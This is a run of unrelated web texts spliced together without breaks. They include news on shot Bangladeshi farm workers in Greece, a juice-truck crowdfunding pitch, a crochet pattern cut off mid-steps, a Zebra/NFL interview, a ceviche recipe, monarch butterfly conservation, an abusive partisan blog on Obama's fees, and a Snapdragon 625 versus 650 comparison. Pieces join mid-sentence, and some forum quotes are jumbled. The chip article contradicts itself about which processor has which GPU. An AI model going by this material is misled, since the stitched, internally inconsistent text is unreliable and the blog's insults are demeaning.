"I asked him to arrange compensation, temporary work permits and legal protection for the wounded workers," he said, adding seven of the injured were still undergoing treatment at two hospitals.
The Greek minister assured him of taking steps for their compensation or "legal aid" and making efforts to bring them under a "legal frame" so that they can get their wage arrears.
Mohammad said he visited the wounded Bangladeshis at the Greek facilities where the doctors said they were improving but their full recovery might take a few more days.
"I also visited the workers' makeshift living quarters [at the farm] that were like tents.... Some 150 Bangladeshis live there in a miserable condition as they have not been paid their salaries for the past six months," the envoy said.
He said the Bangladesh mission provided them with food for 15 days at the farm, which is about 260 kilometres south-west of Athens.
Earlier reports said the four men were arrested in the Peloponnese peninsula last week after the shooting that wounded the 32 Bangladeshi strawberry pickers.
The Supreme Court prosecutor, meanwhile, said the victims would be granted special protection yesterday to prevent their deportation so that they can testify.
The attack occurred on April 17 in the village of Manolada in the west of the peninsula, one of the main areas of strawberry production in Greece.
The three foremen, two of whom are brothers, are accused of firing at a crowd of 200 migrant workers who had gathered to demand payments which in some cases were six months in arrears.
The three foremen, however, told the court that they had acted in self-defence as the crowd had become hostile.
Greek police said one of the shooting suspects was involved in another attack last year on an Egyptian labourer, who was dragged out of a car and injured in a similar dispute over pay.
According to reports, several attacks on migrant strawberry workers there have been recorded in recent years, but the last week's was the worst so far.Drive across America, and you’ll see one fast-food restaurant after another:
McDonald’s. Burger King. Sonic. Taco Bell. KFC. Wendy’s. Hardee’s. Long John Silver’s. Dairy Queen. Arby’s. Jack in the Box. Popeyes. Subway. Domino’s Pizza. Whataburger.
There’s even a chain that’s aptly named “Fatburger.”
Though some of these fast-food places now offer a few low-fat items, the big sales and profits are in hamburgers, French fries, milkshakes, fried chicken, and greasy pizza - the very things that the U.S. Surgeon General says are fueling America’s obesity epidemic.
And instead of coming up with restaurants that offer nourishing, expertly prepared, low-fat meals, competitors to fast-food joints seem to be serving items that are even more caloric.
Take Cracker Barrel, a chain of 600 restaurants located mostly near Interstate highway exits, whose founder, Dan Evins, died last week. Cracker Barrel gained a loyal following by serving tasty - but fattening - fare such as biscuits and gravy, muffins, and country-fried steak.
Some entrepreneurs have opened restaurants serving slimming broiled fish, steamed veggies and the like. And most have gone bankrupt trying.
That’s because the ingredients and technology to mass-produce nutritious food are much more costly, and it’s hard to find low-paid line cooks who can quickly prepare low-fat, but yummy and interesting dishes.
And these places fail because - although most Americans say they want lower-fat meals - they won’t order them when they’re offered.
Some experts believe chains serving healthful fast food will evolve once costs come down or Americans get used to the idea of ordering, and paying a bit more for, a quick lentil burger and salad instead of a cheeseburger and fries on the road.
But so far, there’s little evidence that such a fast-but-light food trend has started.Funds
My good friend and Disney illustrator Dominick Domingo has graciously volunteered his talents to me and will be designing the artwork for my mobile juice truck. Your greatly appreciated contributions will go towards paying a graphics design company to convert Dominick's design onto the truck. This beautiful work of art will be seen by thousands of drivers and pedestrians everyday. The paint job or 'wrapping' will be more of a moving piece of art, not just the name of my food truck, which is cheaper, easier and what most other food trucks offer.
The truck is raring to hit the streets. It is going through the final stages with the LA County Health Department, and I want to have it fully wrapped with Dominick's designs before I officially launch the Farm Fresh Juice Truck! The launch will be just before summer begins! (knock on wood)
$6000 is the minimum I will need to acquire to afford a truck detailing company that can deal with more complex designs. Additional funds will be used to secure a top rated company to ensure the highest quality job with more detail and the highest precision possible. My goal is to get the best in the business to ensure that the final product (the truck) does justice to Dominick's design.
The Artist
Dominick Domingo worked for Disney Feature Animation for ten years. During that time he worked on movies including THE LION KING, POCAHONTAS, HUNCHBACK OF NOTRE DAME, TARZAN and FANTASIA.
Other artistic endeavors include designing the characters for the Interactive Video Game Franchise, "Silent Hill", which coincidentally gave me nightmares in my youth. He designed backgrounds for Nickelodeon's popular series "Catscratch", illustrated for the cult card game "Magic: The Gathering" and more recently has helped visually develop the latest installment in the "Ice Age" franchise. His list of artistic achievements is vast, check out his blog (link below) to see some of his other amazing artwork.
Besides his artistic endeavors he also wrote, directed, produced and edited two live action short-films, "The Passer by" and "Outpost". Both have screened in select theaters in Los Angeles as well as many renowned film festivals around the US where they received honors such as "Best Short Film" and "Best Director".
Twilight Times has very recently published Dominick's first Young Adult Novel "The Nameless Prince", which he has also turned into a graphic novel.
My friend, and the hardest working man I have ever met has now honored me by agreeing to design the artwork for my mobile juice bar!
Please help me raise funds to make sure that his art can be portrayed on the truck as beautifully and accurately as possible!
Check out more about Dominick Domingo at his blog here: dominickdomingo.blogspot.com
A Dominick Domingo Original
More art by Dominick
More art by Dominick
The monster that gave me nightmares, By Dominick Domingo
A Little Info About Farm Fresh Juice
Farm Fresh Juice (FFJ) is a mobile juice bar that uses organic and locally grown produce. FFJ will provide the highest quality juice to customers at the cheapest possible cost.
FFJ is a very environmentally friendly company. Besides supporting local agriculture and sustainable growing methods FFJ will also deliver leftover pulp from juices back to local farms and gardens to use as compost, use biodegradable cups and recycle everything it can.
FFJ has also teamed up with Matt Damon's charity, http://water.org/, it will donate 5% of its profits towards helping them create sustainable clean water sources for third world areas that don't have access to it.
Local and Organic
FFJ will contribute to a movement towards sustainable farming methods. Purchasing local and organic is better for the consumer (none of those pesticides) and much better for the environment. Commercially grown produce relies on crop dusting, chemically enhanced fertilizers and the over-production of the same crop despite seasonal change. Commercially grown produce is also shipped across the country and beyond, adding unnecessary pollution to the environment.
Reaching More Customers
FFJ wants to open up delicious and nutritious juices and smoothies to a wider demographic by lowering the cost. FFJ has lower monthly operational costs than brick and mortar establishments. This allows it to sell juices at a more affordable price, closer to $5 on average as apposed to $9 which is common at many juice & smoothie bars.
Fun Juice RecipePlease enable Javascript to watch this video
SAN DIEGO -- The first round of layoff notices have started to arrive at the homes of some San Diego Unified School District staffers.
About 1,000 teachers are expected to be cut as the district tries to balance the $124 million budget gap. The cuts will be costing people jobs and could also take a toll on students' education.
Teacher Craig Volimas said the district is sending a message that his services are no longer needed.
Volimas, a physical education teacher of 18 years, received notice his job may be eliminated as the district struggles to balance its budget.
As a part of cuts, the district said layoff notices are going out to 891 teachers overall and of those, 137 to prep teachers like Volimas.
“I understand the budget issues but doing it on the heels of our students, I think there’s a better way to do that,” Volimas said.
Volimas said prep teachers are specialized educators in various fields including physical education, science, art and computer science.
“Taking away prep at the schools takes away the chance for the teacher to get more time within the school time,” Volimas said.
He said classroom teachers will likely fill that void, taking on extra subjects adding to an already crowded curriculum.
“You’re taking away the specialty of what we teach and basically turning it into mediocracy. I t’s not just going out and rolling a ball and play. It’s a lot more comprehensive,” Volimas said.
“At our school we have a PE Prep Time teacher,” said Marisol Marin, a principal at a San Diego Unified School.
She said nothing is definite; the layoff notices are procedural and in the past they have been rescinded once the state’s budget is set.
“At this time, it looks like that’s what is happening, but like I said, I really don’t know so I always have to have a plan ready to go,” Marin said.
And it’s not just teachers receiving the layoff notices, the district is making cuts across the spectrum from the top levels at the central office, even down to maintenance workers at the bus yard.This post uses affiliate links, which means I earn a small commission from your purchase (click here for more info). Thanks for supporting Whistle and Ivy!
I am so glad to be able to share this free baby boat booties crochet pattern with you today! I have actually been sitting on this pattern half written, for a while. I started it before our Mac charging port went nuts, and only recently had access to my half-written pattern so that I could finish it. But it’s done! And I love how these baby boat booties turned out.
You can also make a pair for yourself! I have a worsted version and a chunky version.
These baby boat shoes are perfect for a baby boy or girl. I originally wrote the pattern as a boy’s shoe pattern, (there needs to be more boys stuff!) but if you make them in aqua or coral, they are girly and cute, too.
Please remember: You are free to use this pattern to make and sell, but do not republish or distribute this pattern in any way. DO NOT use my photos in your listings. Please do share my blog links! It’s a quick and FREE way of supporting Whistle and Ivy and more free crochet patterns in the future.
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0-3 months (Approx. 3 ½”)
Work 2 (Worked in the round)
Start with 1st color.
Ch 9.
1. Work 3 sc in 2nd ch from hook. Sc in next 3 chs, hdc in next ch, dc in next 2 chs, 7 dc in last ch. Working across the opposite side: Dc in next 2 chs, hdc in next ch, sc in next 3 chs. (22 sts) Place marker and move up each round.
2. Beginning in the first sc: 2 sc in each of the next 3 sts. Sc in next 7 sts. 2 sc in each of the next 5 sts. Sc in next 7 sts. (30 sts)
3. *Sc in next st, 2 sc in next st* work 3 times. Sc in next 7 sts. *Sc in next st, 2 sc in next st* work 5 times. Sc in next 7 sts. (38 sts)
4. Sc in each st all around (38 sts). Move up your marker. Join with sl st and finish off.
5. Start with your 2nd color at your marker at the last sc. You will now be working in joined rows. Ch 1.
Sc in same st. Hdc. Dc 7. Hdc. Sc 28. (38 sts) Join with a sl st at the beginning of the round.
6. Ch 1. Sc in same st. Hdc. Dc2tog. Dc 3. Dc2tog. Hdc. Sc 8. Sc2tog 7 times. Sc 6. Join. (29 sts)
7. Ch 1. Sc in same st. Sc. Hdc2tog 3 times. Sc 6. (11 sts)
|
wonder Chua confesses that, “For the first few weeks after Lulu’s decision, I wandered around the house like a person who’d lost their mission, their reason for living.” If I’d lived through thousands of hours of drudgery and cruelty for nothing, I’d be despondent, too.
But hasn’t all the musical practice indelibly shaped Chua’s children’s characters? Highly unlikely. Behavioral genetics finds roughly zero effect of parents on personality. And contrary to teachers’ fantasies about changing their students’ lives, learning is highly specific. Practicing X makes you better at X – and little else. Furthermore, the effects of environmental intervention erode over time – that’s fade-out for you. Chua seems to know this on some level: She favorably quotes a music teacher who says that, “Every day you don’t practice is a day that you’re getting worse.”
But all social science aside, Chua’s own life history raises severe doubts about the character-shaping power of mastering an instrument. Yes, she practiced piano as a child, but not to excellence. And what became of her? She became a Yale professor and best-selling author anyway!
In the most insightful passage in Battle Hymn of the Tiger Mother, cost-benefit analysis finally makes an appearance:
Why torture yourself and your child? What’s the point? If your child
doesn’t like something – hates it – what good is forcing her to do it?
But Chua immediately represses her thought crime: “As a Chinese mother I could never give in to that way of thinking.” My response: You can and should give in, because this way of thinking is true. Cost-benefit analysis is not a Western prejudice. “Give up when the costs exceed the benefits” is one of the universally-valid maxims that allows millions of Chinese businesses to survive and thrive. Why shouldn’t Chinese mothers use it too?
I strongly suspect that Chua’s daughters will turn out just fine. Indeed, they’ll excel. That’s what the children of two Yale professors usually do, however their parents raise them. I’m even willing to bet that Chua’s daughters won’t purge her when they grow up. Still, a sad fact remains: All three women in the Chua family needlessly suffered for thousands of hours because the mom couldn’t calmly ask and answer my three simple questions.Zebra Technologies has been marking and tracking assets in the commercial world for years with their family of RFID products. What they couldn’t have foreseen at the beginning was their products winding up on Sundays with the National Football League. We sat down with Jill Stelfox, Zebra’s VP & GM of Location Services to find out how the NFL found IoT and what it means for the connected world.
So Jill, tell us about the work you are doing with the NFL?
What we do at Zebra is we do the player tracking for the NFL. So what that means is we put two tags in the shoulder pads of the football players, and then we place 22 receivers around the bowl of the stadium, collect the latitude and longitude, speed, distance, all those things, and that is sent to a server on site, and then in under half a second to broadcasters and two seconds to the rest of the world.
Really, two seconds?
In a total two and half seconds. It takes 120 milliseconds to get the data off the player and into our server, and then we add what we call “eventing,” which are the calculations for speed, for distance, to identify who the player is, identify what the play is and all of that. It happens in under half a second for broadcast and two seconds for the rest of the world. And it’s collected and verified in those two seconds.
So what are some of the challenges you had to overcome for this? It’s quite the mini-ecosystem you are building.
Well, there are some unique challenges to stadiums that are different than the corporate environment. In the corporate environment, in a big office building, 2,000 people may show up during the day. At a stadium, 80,000 of your closest friends show up. And when that happens, there are all kinds of interference issues. There are crowd issues around things being hung up. So we had to manage everything from interference and knowing the interference, and to funny things like if we hung a receiver and had a colored cord on it, that a fan might notice it and then take the cord.
So (we looked at) funny things about crowds that we had to get used to that are different than a manufacturing environment. But the collection of the data itself from the players through the system – that was the easy part of it.
And now you have started to expand how you can repurpose and repackage all this data.
Yeah, it’s interesting to go back and think about how industry thinks about data. You collect it once, say customer information, and then you use it in a bunch of different ways. So it’s exactly the same in football – we collect tracking information and we let the broadcasters use it for speed and distance, but it’s also being used for fun things like website information or Xbox One play information. But then you can use it for coaches and teams to really look at how they operate and what decisions they can make from it. What’s my go to play in the fourth quarter down by fourteen, and do I have a tendency in that situation? And if I know that, might I switch it up the next time that happens and to throw my opponents off?
So in the connected world there is always this concern about privacy and who owns the data. Are there any concerns from the players about that?
In the case of the NFL, they already do that work with their player’s association and so it’s not there. In college, they are really working through what that looks like and it is interesting because every league around the world is going through just this decision-making process. If we look back again at industry, and what industry does with data, there is already well-defined work on things like HIPAA data in hospitals and things like that, and we can look to that to see what this will mean in the future. But I tell you, this is the first tracking solution that puts this in place league wide ever, so all those issues are coming out now and are all up for debate. So time will tell.
So initially you were in industry and RFID, and now you are in sports…where does this go next?
It’s really interesting because I think the whole concept of IoT is really around location as a big part of that. And we have been doing this for years, but now it’s kinda cool and fun, and I think in the future so many decisions are going to be based on IoT. I think about a connected home and what that might look like, but certainly the connected office. What would happen if I walked into my office and my office said, “Good morning Jill, your first appointment is at this time.”
It’s the same concept, for example, as Amazon Echo – but at work. And I think all of those kinds of IoT connect together. So the groups that I run at Zebra, we run passive RFID, active RFID, and beacons. And we think there are opportunities in things like robots at work and at home and we think that is really fun.
Can you keep the robots from taking over the world?
I just want the robots to do my dishes.
And I am done…I can’t top that.Fabulous Ceviche I just love Ceviche! For anybody not familiar with this, it consists of raw fish that has been marinated and cooked by an acidic mixture of citrus juice, mixed with chopped veggies and spices. The first time I ever had this was about 30 years ago in Mexico and it was something that always left me with a craving! Anytime, I have been fishing, I've always made Ceviche with a fresh catch and the white fish seems to make the best. Shrimp is good too as well as scallops - you can use any combination. Of course it's really important that you start out with the freshest fish possible. The best is if you catch it yourself and that's not always possible! I happened to come across a really good filet of Grouper the other day and this is what I used for this recipe. It's just lately that I've been adding a couple tablespoons of Ketchup into the mix and it just seems to cut the acidity and add a little sweetness! This is so easy to make - the time consuming part is chopping everything up and the marination. Ingredients
6 Large Limes
1 Large Lemon
1 Tablespoon of Olive Oil
2 Tablespoons of Ketchup
A 1lb filet of fresh fish
about 3/4 of a lb of fresh shrimp (peeled and deveined)
1/2 large Red Onion - diced
2 cloves of Garlic - chopped fine
1 rib of Celery - chopped
1/2 seedless cucumber - chopped
1 large tomato or 10 cherry tomatoes - diced
1 Jalepeno Pepper or hot pepper - chopped fine
1 bunch Cilantro or in my case Parsley (I hate Cilantro!)
Salt and Pepper to taste
An Avocado for garnish (optional)
Juice your Limes and Lemon: Start out with some really fresh seafood - In this case I'm using a filet of Grouper and some fresh shrimp
Peel and devien the shrimp and chop everything into small cube size pieces.
In a leakproof container, mix together the lime and lemon juice plus the Olive Oil...mix in the chopped fish and place in the refrigerator for at least 2 hours. Give it a shake to coat everything.
Prepare and chop all of the vegetables...
Mix them well into the marinating fish (shrimp and fish should be opaque by now) and add the Ketchup as well as salt and pepper to your liking.
Return everything to the refrigerator for a couple of hours more. I like to use a really sealed container so I can turn it every so often - but a zip-lock bag works well also!
Serve as an individual appetizer or with some crackers or Nacho's and it is way too good! Love it the next day also!Bristol has stepped up police presence in the city centre to combat potential Islamophobia in the wake of the Berlin terror attack.
At least 12 were killed and many more injured, more than a dozen critically, when a truck was driven into crowds of people at a Christmas market in the German capital. Islamic State have claimed responsibility for the act of terror, with police chiefs warning that the country can expect “further significant attacks”.
Following the attack officers, both mounted and on foot, and Police Community Support Officers (PCSO) have been patrolling the Bristol Christmas market in Broadmead, England.
Area commander for Bristol, Chief Superintendent Jon Reilly, confirmed that extra officers have been deployed to prevent ‘hate crime’.
“Following previous terror attacks across mainland Europe we have seen an increase in the number of reported Islamophobic hate crimes in the Avon and Somerset area.
“We have subsequently increased patrols in areas of Bristol which have high footfall in order to provide additional reassurance and to act as a visible deterrent. We also hope it will aid and encourage reporting of any hate crimes or incidents should they occur.
“We want those who are victims of hate crime to feel confident in the belief that we’ll take their reports seriously, protect them and make sure they get all the support they need.
“We’d also like to reassure everyone that we, along with the security and intelligence services, are tirelessly working together to keep you safe.”
Two Muslims have been murdered this year in religiously motivated attacks, but in both cases the perpetrators were Muslim fundamentalists. Following the murder of Asad Shah, who was stabbed just hours after wishing Christians a Happy Easter on Facebook, the victim’s family was forced to go into hiding. Posts appeared online celebrating the murder, and Muslims showed up to the trial to congratulate the killer and chant their support in the courtroom.
Police have been accused of reluctance to act on hate crimes when the perpetrator is from a minority ethnic group. An Asian family who converted to Christianity said they have effectively become prisoners in their own home, even after being forced to move twice, as a result of a campaign of vandalism and harassment at the hands of Muslims who regard them as blasphemers.
Despite being called on numerous occasions, police were reluctant to treat the attacks as hate crimes. Mr Hussain said he felt so let down by the force that he lodged a complaint with the Independent Police Complaints Commission.Posted by Samikay
Posted by Sabod
I thought it was friends and family groups?
Has it now changed to pugs with minimal co ordination and no voice comms?
In broad strokes, there are three distinct types of groups that participate in organized raiding:
Friends and Family groups: These are social groups that exist for reasons besides raiding, but whose players would like to venture into raid content together. This type of group is inherently inclusive, and will not organize its roster according to specific class needs, nor is the group likely to criticize or remove players based on performance. Members of this type of group prioritize playing together.
Raiding guilds: These are groups that have formed for the purpose of raiding. These are the majority of guilds that you’ll see recruiting in Trade chat or on realm forums. These groups will generally look for specific classes based on roster needs, and will expect a certain level of attendance or performance. Members of this type of group prioritize experiencing and learning the content.
Hardcore raiding guilds: An extreme subset of the previous category, these are the guilds of players whose ethos drives them to be the best at games they play, and who are willing to dedicate time and energy to maximize their results. Guilds of this type will recruit and maintain a roster based primarily on performance, and will expect raiders to optimize their characters. Members of this type of group prioritize competition and success.
not
We certainly haven't consistently been successful in doing this, but as we reflect on how Normal difficulty has turned out, we'd rather remove mechanics from Normal difficulty entirely than leave them in but make them so non-threatening that they can be ignored entirely. The latter approach hurts clarity, because you look at an encounter and see 3 or 4 mechanics, but there may actually only be 1 or 2 that you truly need to worry about.Removing mechanics from Normal also means that, in effect, going from Normal to Heroic now introduces some additional mechanics, just as going from Heroic to Mythic always has. That adds some additional depth to the experience of learning a boss on a higher difficulty, rather than just having the same encounter with larger numbers.It might be better if the difficulty and complexity gap between Normal and Heroic were comparable to the gap between Heroic and Mythic, and that hasn't been the case.It's been a while now, but when we first elaborated on the Warlords raiding structure last year, we tried to spell out the target audiences. Raiding Azeroth: Part 2 and the associated blogs go into a ton of depth if you have too much time on your hands and want to read thousands of words rambling about raid design. But the most relevant part was this:I'd say that those three categories largely match with Normal, Heroic, and Mythic raiding respectively. In a lot of ways, many pickup groups trend closer to the Heroic sphere of content, simply because they are selective, and generally will not hesitate to replace someone whose throughput is significantly below par or who is screwing up mechanics. A friends-and-family group will generallykick out their friend or family member because they stand in the fire a lot. That's sort of the point.It’s been a tough year for America’s favorite butterfly.
Each year, Monarch butterflies migrate as far as 3,400 miles from northern United States and Canada to Mexico. Most monarchs have a lifespan of only about a month, so several generations of butterflies are born and die over the course of the migration.
However, due to 20 years of habitat loss along the paths of their migration and intense storms in Mexico this past winter, the number of butterflies in much of the United States much lower than usual.
But in Illinois, where the monarch butterfly is the state insect, the Illinois Monarch Butterfly Summit has convened in order to develop a solution.
“Monarchs have become not only a national and a state issue, but it’s an international issue,” Illinois Department of Natural Resources Director Wayne Rosenthal told the summit attendees.
Karen Oberhauser, coordinator of the Monarch Larva Monitoring Project and a University of Minnesota professor of fisheries, wildlife and conservation biology, who has been studying monarch’s for years, concluded that the monarch population is less than half of what it was last year. Her estimate is shared by the volunteers from the Illinois Butterfly Monitoring Network who track butterflies throughout the state.
Illinois Department of Natural Resources, which is running the summit, gathered experts from across a variety of disciplines at the State Fairgrounds in Springfield to develop a comprehensive state-wide plan that can be integrated into conservation efforts already in place.
“We’re also looking to convert some of the city right of way areas to monarch habitat,” Dave Lamb, assistant superintendent of parks in Bloomington, Ill., told the Herald & Review.
Bloomington alone has approximately 200 acres of land that it has converted from parkland to native prairie. The state hope to continue and expand current efforts to plant additional milkweed and return manicured green space back to natural habitat. Summit participant Matthew Lechner, who is a program director at Shawnee National Forest in southern Illinois, told the Herald & Review that there are 3,500 acres that could be converted into habitat land for the monarch butterflies in Shawnee.
The monarch butterflies pollinates flowering plants such as milkweed. They are also a food source for some species of spiders, insects, and birds, which eat the Monarch eggs and larvae. But otherwise their role in their ecosystem is considered minimal.
"From an ecosystem standpoint, they aren't holding things together," Oberhauser told the Chicago Tribune. "Monarchs are kind of like the 'Mona Lisa.' They're valuable just because they are."
Still, saving the Monarch butterfly has spawned a considerable conservation movement. Although they are listed as “nearly threatened” several advocacy groups are pushing for the insect to be put on the endangered species list – the U.S. Fish and Wildlife Service will make decision by summer of 2019.
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In 2015, President Barack Obama launched a plan to help the monarchs along their migration path by creating a 1,500-mile butterfly corridor along US Interstate 35 between Texas and Minnesota, where highway mowing and pesticide use would be controlled and flowers and milkweed would be planted. Additionally, people living elsewhere along the Monarch butterflies’ migration route have been encouraged to continue planting flowers in their gardens through the fall.
"Pollinators do a lot of work for farmers. Whether it is a bumblebee, butterfly, sweat bee or beetle, they are helping produce food. If we are losing pollinators we are losing parts of our food supply," Marci Lininger, transportation liaison for the U.S. Fish and Wildlife Service and coordinator of the Ohio Pollinator Habitat Initiative (OPHI), told Ohio's Country Journal. "We need to change something in our landscapes. We need to create and protect enough habitat to prevent [endangered species] listing. If everyone does all they can, where we can, we can help divert a potential listing of the monarch."Senator Elizabeth Warren was fit to be tied after the news broke that Barack Obama has agreed to be the keynote speaker at investment banking and brokerage firm, Cantor Fitzgerald’s healthcare conference this coming September.
Obama who has for eight years incessantly sullied Wall Street fats cats over their salaries will be paid $400,000 for the speech.
Another reason to hate Fox? Charles Gasparino of Fox Business broke the news.
Warren, a long-time one percenter herself, and fellow Progressives view Obama’s shocking reversal as a betrayal of Progressive ideology.
While plugging her new book on Sirius XM’s “Alter Family Politics,” Warren who in 2010 was appointed as special adviser by Obama to the Consumer Financial Protection Bureau did not hide her disappointment but then why should she? Obama is no longer in the White House.
“I was uh troubled by that. Um, one of the things I talk about in the book is the influence of money. I describe it as a you know a snake that slithers through Washington um and that it shows up in so many different ways…”
It took Obama less than 100 days to reveal his true self. As for Warren, she should have waited a few days before speaking out since just last night Obama nailed another $400,00 by appearing at “the A&E Networks advertising upfront at The Pierre Hotel.”
Presidential historian Doris Kearns Goodwin interviewed Obama for an hour and a half.
As pointed out by The Daily Caller, Obama’s $400,000 speaking fee “rivals the hefty speaking fees paid to Bill Clinton. It’s nearly double what Hillary Clinton earned on the political speechmaking circuit.”
According to Huffington Post, Hillary Clinton received $200,000 an hour to speak at Goldman Sachs.
What no cries of sexism? Clinton was paid half the fee that Obama is receiving.
Are Progressives that hypocritical? If Obama were a Republican or the speaker a former Republican president, those wenches in Hollywood would be marching on Wall Street. (Not that I care, just saying.)
So, what did that sell out and liar, Bernie Sanders have to say.
Why so coy, Bernie? Afraid Progressive snowflakes are going to accuse you of being racist?
Hank Sheinkopf, a Democratic political consultant was not so understanding:
Fox Business
“Is there an irony here because he spoke incessantly about the income gap and is now earning from those same people he criticized? Yes it is,” said Hank Sheinkopf, a Democratic political consultant. “Should we expect it? Yes, we should because all former presidents do this. He went on the attack against Wall Street and now he’s being fed by those same people he called ‘fat cats’. It’s more hypocritical than ironic.”
Unfortunately for Progressives, Obama exposes his true self at a time when Progressives have no leadership.
“…Democrats are lacking so much leadership that they aren’t going to be upset with this,” he said. “They have no heroes anymore, and [Obama] was their last great hero, so how can they turn on him even though he is being a bit of a hypocrite?”
Read full article
Kind of like kicking a dog when it’s down but that Barack, something of which was not lost on Fox Business Lou Dobbs.
Whether it is calling out Speaker Paul Ryan or Barack Obama, Dobbs had his say and did not bite his tongue.
Lastly, Tucker Carlson took on the one Marxist idiot who thought that for some reason that he could successfully carry Obama’s water by debating Carlson. FAIL.PETERSBURG, Ky. (AP) — A new exhibit of a 30-foot-long fossil skeleton of an Allosaurus, which resembles a Tyrannosaurus rex, is set to open at a Kentucky museum that asserts dinosaurs lived alongside humans a few thousand years ago.
A release from Answers in Genesis, the Christian ministry that owns the Creation Museum, said about 50 percent of the skeleton’s bones were recovered when it was found in Colorado over a decade ago. Keeping with its Bible-themed approach, the Creation Museum says the dinosaur died in a worldwide flood about 4,300 years ago. Scientists say the last dinosaurs roamed the earth more than 60 million years ago.
Museum founder Ken Ham said the new exhibit “will help us defend the book of Genesis and expose the scientific problems with evolution.” The new exhibit is called “Facing the Allosaurus,” and has the skeleton as its massive centerpiece. It opens Saturday.
“Evolutionists use dinosaurs to reach children more than anything to promote their worldview,” Ham said. “Our museum uses dinosaurs to help tell their true history according to the Bible.”
The Allosaurus was a large carnivore that lived in North America during the late Jurassic period about 150 million years ago, according to Mark Clementz, a paleontologist at the University of Wyoming.
The topic of a worldwide flood, told in the Bible’s Old Testament, was discussed by TV star and science educator Bill Nye during a debate with Ham at the Creation Museum in February. The debate’s live Web stream drew millions of viewers and intense national media attention.
Nye challenged the biblical story by describing how animals would have behaved during such a flood event, citing the fossil layers at the Grand Canyon as an example.
Nye said if “there was a big flood on the earth, you would expect drowning animals to swim up to a higher level,” which would mean their bones would be mingled with fossils known to be from a later time period. “Not any one of them did, not a single one.”
Daniel Phelps, president of the Kentucky Paleontological Society, said in a release Thursday that the Creation Museum “has decided, without doing research, that the dinosaur fossil is evidence of Noah’s flood.”
The Allosaurus, named Ebenezer, was donated to the museum by the Elizabeth Streb Peroutka Foundation, which purchased the bones over a decade ago.
Michael Peroutka, a member of the foundation and the Constitution Party’s candidate for president in 2004, said the fossil “is a testimony to the creative power of God in designing dinosaurs, and... it also lends evidence to the truth of a worldwide catastrophic flooding of the earth in Noah’s time.”
___
Follow Dylan Lovan on Twitter @dylanlovanWith the Xiaomi Redmi Note 4 that launched in India yesterday, Xiaomi was pretty upbeat about their decision to launch a version of th phone with the new Snapdragon 625 processor. To Xiaomi the Snapdragon 625 is an upgrade over from the deca-core MediaTek Helio X20 processor that is found in the Chinese variant. Intriguingly, Xiaomi also considers this to be an upgrade over the Snapdragon 650 which was found in the Redmi Note 3 which according to the company sold like hot cakes last year in India. However, many view this as a downgrade largely due to the fact that the Snapdragon 650 has twin ARM Cortex A72 cores which are faster than the A53 cores found on the 625. Theoretically, this is a solid argument, but if one dives deeper, there is merit to what Xiaomi claims and it shows up even our review of the phone.
Faster cores don’t always mean they are better
The Snapdragon 650 has a six-core setup which consists of two Cortex A72 cores clocked at 1.8GHz and four Cortex A53 cores clocked at 1.4GHZ, effectively employing ARM's big.LITTLE technology to distribute performance efficiently. That was Qualcomm's first foray into providing a custom setup and as seen on the Redmi Note 3, it worked wonders.
Yet, since the Snapdragon 650 was built on a 28nm architecture without FinFET transistors, it resulted in using not only more space inside phones it powered, but also drained the battery faster especially when the powerful A72 cores were being used. This is because the 28nm process uses a 2D channel to channel power through the gates that results in leakage in power. This also results in the phone getting heated up faster.
The Snapdragon 625, on the other hand, uses two quad-core clusters of Cortex A53 with the power cluster clocking max speeds of 2.0GHz. Qualcomm achieves this by using Samsung/Global Foundry's 14nm FinFet assembly process leading to 35 per cent lesser power consumption over its previous generations. Also, the FinFet transistors uses 3D channel that protrudes out from the surface, with the gate wrapping around the channel from all three sides minimising the power leakage even when the cores are not in use. In that sense, the Snapdragon 625 is definitely the faster and cooler sibling of the two.
You can think of the Snapdragon 650 like a Honda Civic with a small nitrous boost, while the Snapdragon 625 like an Accord. The Civic will go faster when the nitrous is engaged for that short while, but overall the Honda Accord has the better and faster engine.
The 650 has indeed twin faster high performance cores, but due to the 28nm older manufacturing process and the lack of FinFet transistors, it will heat up faster and guzzle more battery. It will have that boost for a short period but a phone like the Redmi Note 4 wouldn’t be able sustain that level of performance for long without overly heating the phone or draining its battery quickly.
The 625 thanks to its 14nm FinFet architecture is more efficient. It can run at its top 2GHz clock speed for longer and without heating up. While doing so it will also not drain out the phone’s battery.
Xiaomi was gunning to make a phone that did exactly that as it wanted to reduce the size of the phone to 8.3mm and it didn’t want to increase the battery life by much and it wanted a boost in performance. That’s why the Snapdragon 625 makes so much sense. And if you think about it, there aren’t many phones in the market that utilise the Snapdragon 650 which the Redmi Note 3 had. Most newer phones, including ones that are more expensive than the Redmi Note 4 - the Lenovo P2, use the Snapdragon 625 too. It is that good.
Snapdragon 625 also supports newer features
Even if we remove the conversation about peak performance, Snapdragon 625 has support for some newer technologies and features which weren’t in the 650 for various reasons.
For instance, the Snapdragon 650 uses Adreno 506 graphics cores clocked at 650MHz while the Snapdragon 650 uses Adreno 510 cores clocked at 550MHz. The 100MHz boost may not visible to the naked eye and it may not matter much. However, the Adreno 506 supports OpenGL ES 3.1 while the Adreno 510 on the Snapdragon 650 doesn’t support this. This shows up in raw graphics performance games like Dead Trigger 2, Modern Combat and the likes as the games are optimised of the for the OpenGL ES 3.1 API. The performance boost is significant with faster loading times and no drops in frame rates.
Moreover, the Snapdragon 625 used in the Redmi Note 4 comes with a faster block of LTE modem; the X9 as compared to X8 LTE modem found in the Snapdragon 650. There is a performance boost in uplink speed as a result, provided the network supports.
In addition, the Snapdragon 625 comes with dual ISP support to the tune of high-resolution 24-megapixels. This was first introduced in the Snapdragon 820 and was then ported over to the mid-range Snapdragon 625 as well as the Snapdragon 650. Although the Snapdragon 650 can only support sensors up to 21-megapixels. This allows mid-range phones to come with high-resolution dual-cameras. This is again something of a superiority that the 625 has over the 650, but in the case of the Redmi Note 4 it doesn’t come into play. However, the ISP on the 625 could be one of the reasons that it has a wildly better camera than the Redmi Note 3 which used the 650.
The only place where the Snapdragon 650 is superior is the support for quadHD screens as opposed to Snapdragon 625 which can only support fullHD panels. But again in the case of a phone like the Redmi Note 4 this is a non-issue because it has a full HD 5.5-inch screen, so it doesn’t need the extra headroom that the 650 provides. Even the Redmi Note 3 didn’t leverage this feature as it also had a 1080p screen.
The Snapdragon 650 also comes with Qualcomm's Voice Activation technology that enables users to call up voice-assistants when the screen is locked. Again, this is something that’s bit of unused feature as these phones don’t have a true voice assistant, they only have Google Now, that too not in its entirety as Mi UI 8 doesn’t support Google Now on Tap.
